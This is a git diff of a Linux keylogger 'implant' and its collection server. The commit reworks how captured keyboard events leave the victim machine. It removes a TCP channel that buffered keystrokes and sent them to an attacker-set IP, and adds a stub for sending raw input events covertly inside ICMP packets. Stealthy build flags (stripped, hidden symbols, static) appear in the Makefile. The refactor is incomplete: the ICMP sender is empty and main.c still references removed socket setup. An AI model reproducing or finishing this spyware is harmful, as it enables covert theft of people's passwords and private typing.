diff --git a/implant/Makefile b/implant/Makefile
@@ -7,7 +7,7 @@ CC = clang
RM = rm -rf
INCLUDES = -I./includes/
-LINK_FLAG = -lxkbcommon
+LINK_FLAG =
CFLAGS = -Wno-unused-command-line-argument -fPIC
@@ -15,10 +15,10 @@ CFLAGS = -Wno-unused-command-line-argument -fPIC
ifeq ($(MAKECMDGOALS), debug)
CFLAGS += -g3 -DDEBUG -Wno-format-security
else
- CFLAGS += -Wall -Wextra -O3 -Weverything -Wpedantic -Wl,-s
+ CFLAGS += -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s
CFLAGS += -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s
CFLAGS += -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
- CFLAGS += -Wno-unsafe-buffer-usage
+ CFLAGS += -Wno-unsafe-buffer-usage -static
endif
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -27,11 +27,6 @@ struct keyboard_s {
devices;
};
-typedef struct translated_key {
- char const *description;
- char const representation;
-} translated_key_t;
-
/*
contains project settings, such as target
port & IP address, whether debug mode is enabled
@@ -44,10 +39,11 @@ typedef struct implant_s {
char ip[STRING_BUFFER_SIZE];
int disable_net;
- /* keyboard settings */
+ /* keyboard settings (multiple if using dock or something) */
TAILQ_HEAD(listhead, keyboard_s)
kbd;
+ uint8_t using_caps_lock;
} implant_t;
#define SUCCESSFUL 1
@@ -70,14 +66,13 @@ typedef struct implant_s {
#define KEY_RELEASED 0
// net.c
-int init_remote_connection(implant_t *);
-int send_key_description(int, char[STRING_BUFFER_SIZE]);
+int send_key_icmp(implant_t *, struct input_event);
// opt.c
int parse_user_input(int, char **, implant_t *);
// logger.c
-void keylog(implant_t *, int);
+void keylog(implant_t *);
// keyboard.c
void fetch_available_keyboards(implant_t *);
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -15,37 +15,8 @@
#include <xkbcommon/xkbcommon.h>
#include "implant.h"
-static const translated_key_t KEYS[] = {
- {"space", ' '},
- {"comma", ','},
- {"period", '.'},
- {"slash", '/'},
- {"questionmark", '?'},
- {"semicolon", ';'},
- {"apostrophe", '\''},
- {"bracketleft", '['},
- {"bracketright", ']'},
- {"backslash", '\\'},
- {"pipe", '|'},
- {"Tab", '\t'},
- {"minus", '-'},
- {"plus", '+'},
- {"equal", '='},
- {"dollar", '$'},
- {"percentage", '%'},
- {"star", '*'},
- {"parenthesisleft", '('},
- {"parenthesisright", ')'},
- {"underscore", '_'},
- {"ampersand", '&'},
- {"pound", '#'},
- {"arobase", '@'},
- {"tild", '~'},
- {NULL, 0},
-};
-
static int
-get_highest_fd(implant_t *instance) {
+get_highest_fd(const implant_t *instance) {
int highest_fd = -1;
keyboard_t *it = NULL;
@@ -55,23 +26,8 @@ get_highest_fd(implant_t *instance) {
return highest_fd;
}
-static char *
-check_translated_key(char *key_desc) {
- for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
- if (!strncmp(KEYS[ctr].description, key_desc, strlen(KEYS[ctr].description))) {
-
- memset(key_desc, 0, STRING_BUFFER_SIZE);
- key_desc[0] = KEYS[ctr].representation;
-
- break;
- }
- }
- return key_desc;
-}
-
static int
-log_keyboard(int fd, struct xkb_state *state, char **key_desc_ptr) {
- struct input_event evt = {0};
+log_keyboard(const int fd, struct input_event *evt, implant_t *implant) {
static bool shift_pressed = false;
/*
@@ -82,12 +38,12 @@ log_keyboard(int fd, struct xkb_state *state, char **key_desc_ptr) {
bulk of 6-10 once bufferizing messages is implemented
*/
- ssize_t bytes_read = read(fd, &evt, sizeof(evt));
+ ssize_t bytes_read = read(fd, evt, sizeof(struct input_event));
#ifdef DEBUG
DEBUG_LOG("[!] read %ld bytes", bytes_read);
#endif
- if (bytes_read != sizeof(evt)) {
+ if (bytes_read != sizeof(struct input_event)) {
#ifdef DEBUG
DEBUG_LOG("[!] read() error: %s", strerror(errno));
@@ -98,47 +54,26 @@ log_keyboard(int fd, struct xkb_state *state, char **key_desc_ptr) {
/* checking is we are in MAJ key. TODO: check if CAPS_LOCK is enabled or not.
*/
- if (evt.type == EV_KEY && evt.value == KEY_RELEASED) {
- if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
+ if (evt->type == EV_KEY && evt->value == KEY_RELEASED) {
+ if (evt->code == KEY_LEFTSHIFT || evt->code == KEY_RIGHTSHIFT) {
shift_pressed = false;
- return SUCCESSFUL;
}
}
- if (evt.type == EV_KEY && evt.value == KEY_PRESSED) {
-
- if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
+ if (evt->type == EV_KEY && evt->value == KEY_PRESSED) {
+ if (evt->code == KEY_LEFTSHIFT || evt->code == KEY_RIGHTSHIFT) {
shift_pressed = true;
- return SUCCESSFUL;
}
-
- /*
- TODO:
-
- 1) add support for xlib as well, so that wayland AND xlib are
- supported. this should allow us to then relay those without issues
-
- 2) add check for which library is installed & add abstraction layer
- */
-
- xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
-
- if (shift_pressed)
- keysym = xkb_keysym_to_upper(keysym);
-
- memset(*key_desc_ptr, 0, STRING_BUFFER_SIZE);
- xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
-
- *key_desc_ptr = check_translated_key(*key_desc_ptr);
}
+ implant->using_caps_lock = (uint8_t)shift_pressed;
return SUCCESSFUL;
}
/*
main loop to listen for keys and stuff
*/
-void keylog(implant_t *instance, int sockfd) {
+void keylog(implant_t *instance) {
/* first set up select etc */
int highest_fd = get_highest_fd(instance);
@@ -153,55 +88,6 @@ void keylog(implant_t *instance, int sockfd) {
return;
}
-
- /*
- initialize xkbcommon context
-
- this is the stuff that allows us to map keys to
- the correct language & manages special characters, shift, etc.
- */
-
- struct xkb_context *context = NULL;
- struct xkb_keymap *keymap = NULL;
- struct xkb_state *state = NULL;
-
- context = xkb_context_new(0);
- if (!context) {
-
-#ifdef DEBUG
- DEBUG_LOG("[!] error with xkb_context_new(): %s", strerror(errno));
-#endif
-
- return;
- }
-
- keymap = xkb_keymap_new_from_names(context, NULL, 0);
- if (!keymap) {
-
-#ifdef DEBUG
- DEBUG_LOG("[!] error with xkb_keymap_new_from_names(): %s",
- strerror(errno));
-#endif
-
- goto LOG_FUNCTION_CLEANUP;
- }
-
- state = xkb_state_new(keymap);
- if (!state) {
-
-#ifdef DEBUG
- DEBUG_LOG("[!] error with xkb_state_new(): %s", strerror(errno));
-#endif
-
- goto LOG_FUNCTION_CLEANUP;
- }
-
- char *key_desc = malloc(sizeof(char) * (STRING_BUFFER_SIZE + 1));
- if (!key_desc)
- goto LOG_FUNCTION_CLEANUP;
-
- memset(key_desc, 0, STRING_BUFFER_SIZE);
-
/* run the damn loop */
while (0x520) {
@@ -267,17 +153,16 @@ void keylog(implant_t *instance, int sockfd) {
/* checking for new input here */
if (FD_ISSET(it->fd, &rd)) {
- memset(key_desc, 0, STRING_BUFFER_SIZE);
-
+ struct input_event evt = {0};
/*
should we really kill the run here or can we recover this ?
i need to run some tests before making a decision.
*/
- if (ERROR == log_keyboard(it->fd, state, &key_desc)) {
+ if (ERROR == log_keyboard(it->fd, &evt, instance)) {
goto LOG_FUNCTION_CLEANUP;
}
- if (ERROR == send_key_description(sockfd, key_desc)) {
+ if (ERROR == send_key_icmp(instance, evt)) {
goto LOG_FUNCTION_CLEANUP;
}
}
@@ -293,18 +178,4 @@ LOG_FUNCTION_CLEANUP:
close(it->fd);
}
}
-
- close(sockfd);
-
- if (key_desc != NULL)
- free(key_desc);
-
- if (state != NULL)
- xkb_state_unref(state);
-
- if (keymap != NULL)
- xkb_keymap_unref(keymap);
-
- if (context != NULL)
- xkb_context_unref(context);
}
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -5,15 +5,6 @@
int main(int ac, char **av, char **envp) {
- /*
- TODO:
-
- get current layout & send beacon packets to the server.
- https://superuser.com/a/1300093
-
- then, drop the lib dependancy and compile statically on client-side
- */
-
implant_t instance = {
.ip = {0}, .port = 80, /* ip can be a domain name */
};
@@ -33,6 +24,6 @@ int main(int ac, char **av, char **envp) {
if (sockfd < 0)
return 1;
- keylog(&instance, sockfd);
+ keylog(&instance);
return 0;
}
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -1,142 +1,16 @@
-<
-/*
- this file holds all of the functions needed for communicating with the
- remote server
-*/
-#include <arpa/inet.h>
-#include <errno.h>
-#include <netinet/in.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/socket.h>
-#include <unistd.h>
+#include <linux/input.h>
#include "implant.h"
-int send_key_description(int sockfd, char *key_desc) {
+/* Layout of the DATA packet is following
+ * [ Locale (length: 31), using_cap_lock, struct input_event dump ]
+ */
+int send_key_icmp(implant_t *implant, struct input_event event) {
- /*
- creates a standalone buffer of at least 10 * STRING_BUFFER_SIZE,
- and only sends a message once the buffer size is full.
+ uint8_t payload[sizeof(struct input_event) + 32] = {0};
+
- it is the responsability of the user to not pick a STRING_BUFFER_SIZE
- such that a size_t can hold 10 times its size in nb of characters.
- */
-
-#ifdef DEBUG
- /* i dont want to wait that long when testing lol */
-
- const size_t max_nb_chars = STRING_BUFFER_SIZE;
- static char tmp_buffer[STRING_BUFFER_SIZE] = {0};
-#else
- const size_t max_nb_chars = STRING_BUFFER_SIZE * 10;
- static char tmp_buffer[STRING_BUFFER_SIZE * 10] = {0};
-#endif
-
- static size_t nb_chars_in_buffer = 0;
-
- /* since DEBUG has timeout for keyboard read, we can get empty keys sometimes
- */
- size_t length_keydesc = strlen(key_desc);
- if (length_keydesc == 0) {
- return SUCCESSFUL;
- }
-
-#ifdef DEBUG
- DEBUG_LOG("buffer: %s [%ld / %ld]", tmp_buffer, nb_chars_in_buffer, max_nb_chars);
-
- DEBUG_LOG("new key: %s", key_desc);
-#endif
-
- if (max_nb_chars < (nb_chars_in_buffer + length_keydesc)) {
- if (-1 == send(sockfd, tmp_buffer, nb_chars_in_buffer, 0)) {
-
-#ifdef DEBUG
- DEBUG_LOG("send: %s", strerror(errno));
-#endif
- return ERROR;
- }
-
- memset(tmp_buffer, 0, nb_chars_in_buffer);
- nb_chars_in_buffer = 0;
-
- if (NULL == strncpy(tmp_buffer, key_desc, max_nb_chars)) {
-#ifdef DEBUG
- DEBUG_LOG("strncpy send_key_description: %s", strerror(errno));
-#endif
- return ERROR;
- }
- } else {
-
- if (NULL ==
- strncat(tmp_buffer, key_desc, max_nb_chars - nb_chars_in_buffer)) {
-#ifdef DEBUG
- DEBUG_LOG("strncat send_key_description: %s", strerror(errno));
-#endif
- return ERROR;
- }
- }
-
- nb_chars_in_buffer = strlen(tmp_buffer);
return SUCCESSFUL;
}
-int init_remote_connection(implant_t *instance) {
-
-#ifdef DEBUG
- DEBUG_LOG("Initiating remote connection with (%s:%d)", instance->ip, instance->port);
-#endif
-
- /*
- creating initial socket...
-
- AF_INET -> remote connection (for local, use AF_UNIX)
- SOCK_STREAM -> TCP connection (for UDP, use SOCK_DGRAM)
- IPPROTO_TCP -> Specify protocol (for UDP, use IPPROTO_UDP)
-
- */
- int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sockfd < 0) {
-
-#ifdef DEBUG
- perror("socket");
-#endif
-
- close(sockfd);
- return -1;
- }
-
- /* items required to bind socket to remote address */
- int is_enabled = 1;
- struct sockaddr_in addr = {.sin_family = AF_INET,
- .sin_port = htons(instance->port),
- .sin_addr.s_addr = inet_addr(instance->ip)};
-
- /* setting socket options to make connection more convenient */
- if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
- (useful for testing) */
- &is_enabled,
- sizeof(int)) < 0) {
-
-#ifdef DEBUG
- DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
-#endif
-
- close(sockfd);
- return -1;
- }
-
- if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
-
-#ifdef DEBUG
- DEBUG_LOG("connect: %s", strerror(errno));
-#endif
-
- close(sockfd);
- return -1;
- }
-
- return sockfd;
-}
diff --git a/server/Makefile b/server/Makefile
@@ -29,7 +29,7 @@ OBJECT_DIR = ./objects
vpath %$(PATTERN) $(SRC_DIR)
MAIN = main.c
-SRC = net.c lexxer.c csv.c loop.c
+SRC = net.c lexxer.c csv.c loop.c keys.c
########################
#### COMPILATION #######
diff --git a/server/includes/server.h b/server/includes/server.h
@@ -120,5 +120,8 @@ int init_csv_dbfd(char const *filepath);
void loop(server_t *instance);
int should_gracefully_exit(int code);
+// keys.c
+
+
#endif /* SERVER_H */
diff --git a/server/sources/keys.c b/server/sources/keys.c
@@ -0,0 +1,52 @@
+
+#include <string.h>
+#include "server.h"
+
+#include <linux/input-event-codes.h>
+#include <linux/input.h>
+#include <xkbcommon/xkbcommon.h>
+
+static const translated_key_t KEYS[] = {
+ {"space", ' '},
+ {"comma", ','},
+ {"period", '.'},
+ {"slash", '/'},
+ {"questionmark", '?'},
+ {"semicolon", ';'},
+ {"apostrophe", '\''},
+ {"bracketleft", '['},
+ {"bracketright", ']'},
+ {"backslash", '\\'},
+ {"pipe", '|'},
+ {"Tab", '\t'},
+ {"minus", '-'},
+ {"plus", '+'},
+ {"equal", '='},
+ {"dollar", '$'},
+ {"percentage", '%'},
+ {"star", '*'},
+ {"parenthesisleft", '('},
+ {"parenthesisright", ')'},
+ {"underscore", '_'},
+ {"ampersand", '&'},
+ {"pound", '#'},
+ {"arobase", '@'},
+ {"tild", '~'},
+ {NULL, 0},
+};
+
+
+static char *
+retrieve_translated_key(char *key_desc) {
+ for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
+ if (!strncmp(KEYS[ctr].description, key_desc, strlen(KEYS[ctr].description))) {
+
+ memset(key_desc, 0, STRING_BUFFER_SIZE);
+ key_desc[0] = KEYS[ctr].representation;
+
+ break;
+ }
+ }
+ return key_desc;
+}
+
diff --git a/server/sources/loop.c b/server/sources/loop.c
@@ -30,7 +30,7 @@ void loop(server_t *instance) {
signal(SIGINT, sig_handler);
TAILQ_INIT(&instance->clients);
- while (should_gracefully_exit(0)) {
+ while (!should_gracefully_exit(0)) {
icmp_msg_t msg = {0};
| | | | | | | | |